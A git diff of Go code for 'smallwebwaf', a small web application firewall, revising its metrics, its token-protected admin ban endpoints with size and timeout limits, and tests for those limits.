"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -139,8 +137,7 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.offences, m.wafMatches,
m.countries, m.asns,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize,
@@ -157,9 +154,7 @@ func New(topN int, instanceName string) *Metrics {
func (m *Metrics) AddBansAndClients(
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
) {
for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} {
for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_bans_made_total",
Help: "Bans made, by cause.",
@@ -268,16 +263,16 @@ const sourceLabel = "source"
// AddReputation adds the metrics of the lists fetched from URLs and of the
// DNSBL zones, by source, each list's URL or each zone, its key masked as
// config.MaskZoneKey masks it: the requests whose client a blocklist, the
// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
// which ReputationHit counts, and, read from lists and dnsbl as the
// metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit.
// config.MaskZoneKey masks it: the requests whose client a blocklist, a
// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts,
// and, read from lists and dnsbl as the metrics are asked for, for a list,
// the fetches that failed and when the copy in use was fetched, and for a
// zone, the queries made and those that failed. It is called once, before
// ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
"Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, by "+
"the blocklist's URL, the zone, or abuseipdb.",
[]string{sourceLabel})
m.registry.MustRegister(m.reputationHits)
@@ -330,9 +325,8 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
)
}
// ReputationHit counts a request whose client source lists: a blocklist
// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
// or AbuseIPDB, abuseipdb.
// ReputationHit counts a request whose client source lists: a blocklist,
// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb.
func (m *Metrics) ReputationHit(source string) {
m.reputationHits.WithLabelValues(source).Inc()
}
@@ -391,47 +385,51 @@ func (m *Metrics) RequestStarted() {
m.inFlight.Inc()
}
// RequestEnded counts a request that has ended without being passed to the app,
// from its log line. duration is how long the request took.
func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
m.inFlight.Dec()
m.count(line, duration, 0)
}
// RequestAllowed counts a question of rproxy's, answered allow, as no longer
// under way. RequestReported counts the request it was about.
func (m *Metrics) RequestAllowed() {
m.inFlight.Dec()
}
// RequestReported counts a request rproxy passed to the app, from what its
// report says, which line holds: duration is how long the request took, and
// upstreamDuration how long it took from when it was passed to the app.
func (m *Metrics) RequestReported(
line *requestlog.Line, duration, upstreamDuration time.Duration,
// RequestEnded counts a request that has ended, from its log line. limit
// is the setting whose size or time limit the request passed, "" if none.
// duration is how long the request took, and upstreamDuration how long it
// took from when it was passed to the app, zero if it was not.
func (m *Metrics) RequestEnded(
line *requestlog.Line, limit string, duration, upstreamDuration time.Duration,
) {
m.count(line, duration, upstreamDuration)
}
m.inFlight.Dec()
// LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
class := statusClass(line.Status)
m.requests.WithLabelValues(class, line.Action).Inc()
m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
m.requestDuration.Observe(duration.Seconds())
// Offences counts the offences of r, a request that has ended, as its
// client's history counts them, by kind, named as clients.json names
// them.
func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{
"limit": r.BrokeLimit,
"attack": r.Attack,
"rule_blocked": r.RuleBlocked,
"waf_blocked": r.WAFBlocked,
} {
if committed {
m.offences.WithLabelValues(kind).Inc()
if upstreamDuration > 0 {
m.upstreamDuration.Observe(upstreamDuration.Seconds())
}
if line.LimitHit != "" {
// The log line names a byte limit's window with _bytes after it.
window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
kind := ratelimit.KindRequests
if isBytes {
kind = ratelimit.KindBytes
}
m.rateLimitHits.WithLabelValues(window, kind).Inc()
}
if limit != "" {
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
}
if line.Offence != "" {
m.offences.WithLabelValues(line.Offence).Inc()
}
if line.Country != "" {
m.countries.add(line.Country, line)
}
if line.ASN != "" {
m.asns.add(line.ASN, line)
}
}
@@ -441,12 +439,6 @@ func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc()
}
// WAFMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode.
func (m *Metrics) WAFMatched(mode string, id int) {
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
// StateFileWritten counts a write of the state file name, of size bytes,
// that ended with err.
func (m *Metrics) StateFileWritten(name string, size int, err error) {
@@ -478,30 +470,6 @@ func (m *Metrics) StateFileEditSetAside(name string) {
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
}
// count counts a request that has ended, as RequestEnded and RequestReported
// describe.
func (m *Metrics) count(
line *requestlog.Line, duration, upstreamDuration time.Duration,
) {
class := statusClass(line.Status)
m.requests.WithLabelValues(class, line.Action).Inc()
m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
m.requestDuration.Observe(duration.Seconds())
if upstreamDuration > 0 {
m.upstreamDuration.Observe(upstreamDuration.Seconds())
}
if line.Country != "" {
m.countries.add(line.Country, line)
}
if line.ASN != "" {
m.asns.add(line.ASN, line)
}
}
// addReputationQueries adds the counter of the queries to source, a DNSBL
// zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
internal/proxy/admin.go
+39 -20
View File
@@ -9,6 +9,7 @@ import (
"io"
"net/http"
"net/netip"
"os"
"strings"
"time"
@@ -40,22 +41,15 @@ var (
errNotAddress = errors.New("is not an address, such as 203.0.113.9")
)
// answerHealth answers a request for the health endpoint.
func (rq *request) answerHealth() {
rq.line.Action = requestlog.ActionAdmin
// Set here rather than left to Go's server, which would set it only
// after the log line has taken the response's headers.
rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
_, _ = io.WriteString(rq.out, "ok\n")
}
// answerAdmin answers a request for one of servewaf's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other
// path does.
// answerAdmin answers a request for smallwebwaf itself, under
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
// token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
// it is refused with 401. An endpoint whose token is unset answers 404,
// as any other request under /_smallwebwaf/ does.
func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionAdmin
rq.startClientResponseTimeout()
token, answer := rq.endpoint()
@@ -64,7 +58,10 @@ func (rq *request) answerAdmin() {
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
case !hasToken(rq.in, token):
rq.out.Header().Set("WWW-Authenticate", "Bearer")
http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
rq.answer(refusal{
status: http.StatusUnauthorized,
action: requestlog.ActionAdmin,
})
default:
answer()
}
@@ -121,7 +118,26 @@ type banToAdd struct {
// an admin, from now for the duration the body gives, with its reason,
// and answers with that ban.
func (rq *request) addBan() {
// The body must arrive within SWWAF_CLIENT_REQUEST_TIMEOUT, as any
// other request's must.
rq.stopReadingBody(rq.clientRequestDeadline())
toAdd, err := rq.readBanToAdd()
if refused := rq.refused.Load(); refused != nil {
rq.answer(*refused) // the body is over SWWAF_REQUEST_MAX_BYTES
return
}
if errors.Is(err, os.ErrDeadlineExceeded) {
rq.answer(refusal{
status: http.StatusRequestTimeout,
action: requestlog.ActionTimedOut,
limit: "SWWAF_CLIENT_REQUEST_TIMEOUT",
})
return
}
var (
netblock netip.Prefix
@@ -150,9 +166,12 @@ func (rq *request) addBan() {
// readBanToAdd reads the body of POST BansPath: a JSON object with
// nothing but whitespace after it, in at most banBodyMaxBytes.
func (rq *request) readBanToAdd() (banToAdd, error) {
data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
rq.requestBytes = int64(len(data))
var body io.ReadCloser = http.NoBody
if rq.body != nil {
body = rq.body
}
data, err := io.ReadAll(http.MaxBytesReader(nil, body, banBodyMaxBytes))
if err != nil {
return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
}
@@ -250,9 +269,9 @@ type clientAnswer struct {
Bans []state.BanEntry `json:"bans"`
}
// showClient answers GET ClientsPath<ip> with what servewaf knows of the client:
// its counters, its history, which holds its country as last looked up and its
// offences, and its bans with their notes.
// showClient answers GET ClientsPath<ip> with what smallwebwaf knows of
// the client: its counters, its history, which holds its country as last
// looked up and its offences, and its bans with their notes.
func (rq *request) showClient() {
addr, err := pathAddress(rq.in.URL.Path, ClientsPath)
if err != nil {
internal/proxy/admin_test.go
+141 -23
View File
@@ -4,7 +4,8 @@ import (
"encoding/json"
"net/http"
"net/netip"
"reflect"
"slices"
"strconv"
"strings"
"testing"
"time"
@@ -22,6 +23,8 @@ const (
// how a request carries it.
adminSecret = "fedcba9876543210fedcba9876543210"
adminBearer = "Bearer " + adminSecret
// adminClient is the client the tests' admin sends its requests from.
adminClient = "192.0.2.10"
// banOtherClient is the body of a request to ban otherClient for an
// hour.
banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` +
@@ -40,11 +43,12 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
// An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() {
s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
s.adminRequest(adminClient, authorization, e.method, e.path, e.body,
http.StatusNotFound, requestlog.ActionAdmin)
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
}
}
@@ -67,15 +71,15 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} {
got := s.adminRequest(authorization, e.method, e.path, e.body,
http.StatusUnauthorized)
got := s.adminRequest(adminClient, authorization, e.method, e.path, e.body,
http.StatusUnauthorized, requestlog.ActionAdmin)
if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
e.method, e.path, authorization)
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method, e.path, after, before)
}
@@ -261,12 +265,64 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
}
}
func TestBanToAddOverTheRequestSizeLimitIsRefused(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
requestMaxBytes: "16",
})
// Sent in a chunk, its length is not announced, so that it is found
// over SWWAF_REQUEST_MAX_BYTES only as it is read.
chunk := `{"netblock": "203.0.113.9", "duration": "1h"}`
s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked",
http.MethodPost, proxy.BansPath,
strconv.FormatInt(int64(len(chunk)), 16)+"\r\n"+chunk+"\r\n0\r\n\r\n",
http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("the ledger holds %+v, want no ban", held)
}
}
func TestBanToAddSlowerThanTheClientRequestTimeoutIsRefused(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
metricsToken: token,
clientRequestTimeout: shortTimeoutSetting,
})
// The chunk announces 256 bytes and the rest of it never comes, so only
// the timeout ends the wait. A hold-up of the test process can only
// make the answer later, so the time is checked only for not being
// shorter than the timeout.
start := time.Now()
s.adminRequest(adminClient, adminBearer+"\r\nTransfer-Encoding: chunked",
http.MethodPost, proxy.BansPath, "100\r\n"+`{"netblock": "203.0.113.9", `,
http.StatusRequestTimeout, requestlog.ActionTimedOut)
if took := time.Since(start); took < shortTimeout {
t.Errorf("answered after %s, before the timeout of %s ran out", took, shortTimeout)
}
wantLimitHits(t, s.addr, clientRequestTimeout, 1)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("the ledger holds %+v, want no ban", held)
}
}
func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
t.Parallel()
s, clk, _ := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
rateLimitPerMinute: "2",
adminToken: adminSecret,
rateLimitPerMinute: "2",
rateLimitExemptNets: adminClient,
})
start := clk.Now()
@@ -315,6 +371,61 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
http.StatusBadRequest)
}
func TestBannedClientIsRefusedAtTheEndpointsEvenWithTheToken(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{adminToken: adminSecret})
s.admin(http.MethodPost, proxy.BansPath, banOtherClient, http.StatusOK)
// otherClient cannot lift its own ban either.
for _, e := range adminEndpoints() {
s.adminRequest(otherClient, adminBearer, e.method, e.path, e.body,
http.StatusForbidden, requestlog.ActionBanned)
}
}
func TestAdminRequestsCountTowardTheLimits(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
rateLimitPerMinute: "2",
})
// A request refused for a missing token and one answered count toward
// the limit of two a minute, so the next breaks it.
s.adminRequest(client, "", http.MethodGet, proxy.BansPath, "",
http.StatusUnauthorized, requestlog.ActionAdmin)
s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "",
http.StatusOK, requestlog.ActionAdmin)
s.adminRequest(client, adminBearer, http.MethodGet, proxy.BansPath, "",
http.StatusForbidden, requestlog.ActionRateLimited)
}
func TestClientInAllowNetsSkipsTheChecksButNeedsTheToken(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
s, clk, server := startWithClock(t, "", map[string]string{
adminToken: adminSecret,
allowNets: allowed,
rateLimitPerMinute: "1",
})
// A ban on it refuses nothing, and its requests are not counted.
server.Ledger.BanForAdmin(netip.MustParsePrefix(allowed+"/32"), clk.Now(),
time.Time{}, "")
for range 2 {
s.adminRequest(allowed, "", http.MethodGet, proxy.BansPath, "",
http.StatusUnauthorized, requestlog.ActionAdmin)
s.adminRequest(allowed, adminBearer, http.MethodGet, proxy.BansPath, "",
http.StatusOK, requestlog.ActionAdmin)
}
}
func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
t.Parallel()
@@ -324,7 +435,8 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
})
for _, e := range adminEndpoints() {
s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
s.adminRequest(adminClient, "", e.method, e.path, e.body,
http.StatusUnauthorized, requestlog.ActionAdmin)
}
if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -349,33 +461,39 @@ func adminEndpoints() []adminEndpoint {
}
}
// admin sends a request with method for path, with body, to servewaf's own
// address, with the admin token, and checks that it is answered with status, its
// log line's action admin. It returns the answer.
// admin sends a request with method for path, with body, from
// adminClient, with the admin token, and checks that it is answered with
// status, its log line's action admin. It returns the answer.
func (s *sender) admin(method, path, body string, status int) answer {
s.t.Helper()
return s.adminRequest(adminBearer, method, path, body, status)
return s.adminRequest(adminClient, adminBearer, method, path, body, status,
requestlog.ActionAdmin)
}
// adminRequest is admin with authorization as the request's Authorization header
// unless it is "".
// adminRequest sends a request with method for path, with body, from the
// client at from, with authorization as its Authorization header unless
// it is "", and checks its answer's status and its log line's action, as
// request does. authorization may end in more header lines. A body that
// is not "" has its length announced, unless authorization names
// Transfer-Encoding. It returns the answer.
func (s *sender) adminRequest(
authorization, method, path, body string, status int,
from, authorization, method, path, body string, status int, action string,
) answer {
s.t.Helper()
req := newRequest(s.t, method, s.serveWAFAddr, path, strings.NewReader(body))
var header []string
if authorization != "" {
req.Header.Set("Authorization", authorization)
header = append(header, "Authorization: "+authorization)
}
got := do(s.t, req)
wantStatus(s.t, got, status)
if body != "" && !strings.Contains(authorization, "Transfer-Encoding") {
header = append(header, "Content-Length: "+strconv.Itoa(len(body)))
}
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, status, requestlog.ActionAdmin)
_, got := s.requestWithBody(method, from, path, strings.Join(header, "\r\n"),
body, status, action)
return got
}
internal/proxy/alerts_test.go
+2 -6
View File
@@ -118,8 +118,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
// No ban is made, and none made permanent.
held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
if held := server.Ledger.Snapshot(); len(held) != 1 || held[0] != attackBan ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"for the attack alone, as it was", held, line.BanExpires)
@@ -224,9 +223,7 @@ func startAppWithAlerts(
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
s := &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}
return s, clk, server, queue
return &sender{t: t, addr: addr, out: out}, clk, server, queue
}
// banAlert returns the alert for event, raised by a request from client at
@@ -239,7 +236,6 @@ func banAlert(
Instance: alertInstance,
Time: raised,
Event: event,
Host: appHost,
Client: netip.MustParseAddr(client),
Netblock: ban.Netblock,
Reason: ban.Reason,
internal/proxy/anomaly_internal_test.go
+3 -5
View File
@@ -15,11 +15,9 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
// anomaly counters, nor a clock, and the request no response: reading
// any of them to count the request panics.
rq := &request{
decision: decision{
client: netip.MustParseAddr("203.0.113.9"),
lookedUp: true,
},
h: &handler{config: &config.Config{LookupSource: "geojs"}},
h: &handler{config: &config.Config{LookupSource: "geojs"}},
client: netip.MustParseAddr("203.0.113.9"),
lookedUp: true,
}
defer func() {
internal/proxy/anomaly_test.go
-1
View File
@@ -117,7 +117,6 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
Instance: alertInstance,
Time: start,
Event: alerts.EventAnomaly,
Host: appHost,
Client: netip.MustParseAddr(client),
Netblock: scope.netblock,
ASN: asnDE,
internal/proxy/answertime_test.go
-564
View File
@@ -1,564 +0,0 @@
package proxy_test
import (
"fmt"
"maps"
"net"
"net/http"
"net/http/httptest"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
// servewaf has to answer.
answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWWAF_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond
// The header limits SPEC.md gives.
cookieLimit = 50
headerFieldLimit = 100
// cookieHeader is the header the cookie limit counts.
cookieHeader = "Cookie"
// tooLarge is how servewaf refuses a request over the header limits.
tooLarge = http.StatusRequestHeaderFieldsTooLarge
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
// that unansweredGeoJSURL names too.
silentAbuseIPDBURL = "unanswered://abuseipdb/api/v2/check"
// wholeLimit is the percentage of a rate limit that lowers it not at all.
wholeLimit = 100
// clientsDecision is the CrowdSec decision list holding client alone.
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
)
// cookies returns a Cookie header's value with count cookies.
func cookies(count int) string {
parts := make([]string, 0, count)
for i := range count {
parts = append(parts, "c"+strconv.Itoa(i)+"=1")
}
return strings.Join(parts, "; ")
}
// fillHeaders adds headers to a question until the checks see total header
// fields: all but ClientHeader and PeerHeader, which servewaf removes. Go's
// client sends nothing else but Host, which the limit does not count, once
// User-Agent is set.
func fillHeaders(req *http.Request, total int) {
req.Header.Set("User-Agent", "test")
for i := len(req.Header) - 2; i < total; i++ {
req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
}
}
func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
t.Parallel()
s := startServeWAF(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
began := time.Now()
got := do(t, req)
if took := time.Since(began); took >= answerTimeLimit/2 {
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
}
wantDisposition(t, got, tooLarge, proxy.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
if line.DurationWAF != nil {
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationWAF)
}
}
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Parallel()
repeated := make([]string, headerFieldLimit)
for i := range repeated {
repeated[i] = "1"
}
for _, tc := range []struct {
name string
make func(*http.Request)
// refused is true for a request over a limit, and false for one at it.
refused bool
}{
{"cookies at the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit))
}, false},
{"cookies over the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
}, true},
{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
}, false},
{"parts of no-break spaces count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
}, true},
{"cookies over the limit across two headers", func(req *http.Request) {
req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
}, true},
{"cookies without a value count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
}, true},
{"header fields at the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit)
}, false},
{"header fields over the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit+1)
}, true},
{"a header sent many times counts each time", func(req *http.Request) {
req.Header["X-Filler"] = repeated
}, true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startServeWAF(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
tc.make(req)
got := do(t, req)
line := s.out.requestLine(t)
if tc.refused {
wantDisposition(t, got, tooLarge, proxy.DispositionDeny)
wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
return
}
wantDisposition(t, got, http.StatusOK, proxy.DispositionAllow)
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.DurationWAF == nil {
t.Error("the Core Rule Set did not read a request within the limits")
}
})
}
}
func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
t.Parallel()
for _, env := range []map[string]string{
{wafMode: off},
{wafMode: "detect"},
{wafMode: block, "SWWAF_WAF_EXEMPT_PATHS": "/"},
} {
t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel()
s := startServeWAF(t, "", env)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, proxy.DispositionDeny)
})
}
}
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
t.Parallel()
s := startServeWAF(t, "", map[string]string{wafMode: block, allowNets: client})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusOK, proxy.DispositionAllow)
}
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel()
s := startServeWAF(t, "", map[string]string{mode: observe, wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
began := time.Now()
got := do(t, req)
if took := time.Since(began); took >= answerTimeLimit/2 {
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
}
wantDisposition(t, got, http.StatusOK, proxy.DispositionAllow)
line := s.out.requestLine(t)
if line.WouldAction != requestlog.ActionTooLarge || line.DurationWAF != nil {
t.Errorf("would_action %q and duration_waf %v, want %q and none",
line.WouldAction, line.DurationWAF, requestlog.ActionTooLarge)
}
}
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
t.Parallel()
s := startServeWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
ask := func() answer {
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
return do(t, req)
}
wantDisposition(t, ask(), tooLarge, proxy.DispositionDeny)
wantDisposition(t, ask(), http.StatusForbidden, proxy.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionRateLimited)
}
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, path, action string
}{
{"a trap path", "/wp-login.php", requestlog.ActionBanned},
{"a block rule", "/blocked", requestlog.ActionRuleBlocked},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startServeWAF(t, "", map[string]string{
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
})
req := s.question(siteA, client, tc.path)
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, proxy.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
})
}
}
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startServeWAF(t, geojsURL, map[string]string{
unknownLimitPercent: "0", lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, proxy.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
if line.LimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.LimitPercent)
}
// The client is under no ban, and GeoJS places it in a country.
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, proxy.DispositionAllow)
}
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startServeWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
Answered: s.clock.Now(), Used: s.clock.Now(),
}})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, proxy.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, requestlog.ActionRateLimited)
}
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startServeWAF(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
got := do(t, req)
wantDisposition(t, got, http.StatusOK, proxy.DispositionAllow)
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
if asn != asnDE || country != "DE" {
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
asn, country, asnDE)
}
}
// newServeWAFInBubble makes a servewaf for a synctest bubble: GeoJS never
// answers, a setting needs its answer, and everything is at its default but
// for env. No request to it may use the network.
func newServeWAFInBubble(t *testing.T, env map[string]string) (*proxy.Server, *output) {
t.Helper()
settings := map[string]string{deniedCountries: "KP"}
maps.Copy(settings, env)
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now, settings)
return server, out
}
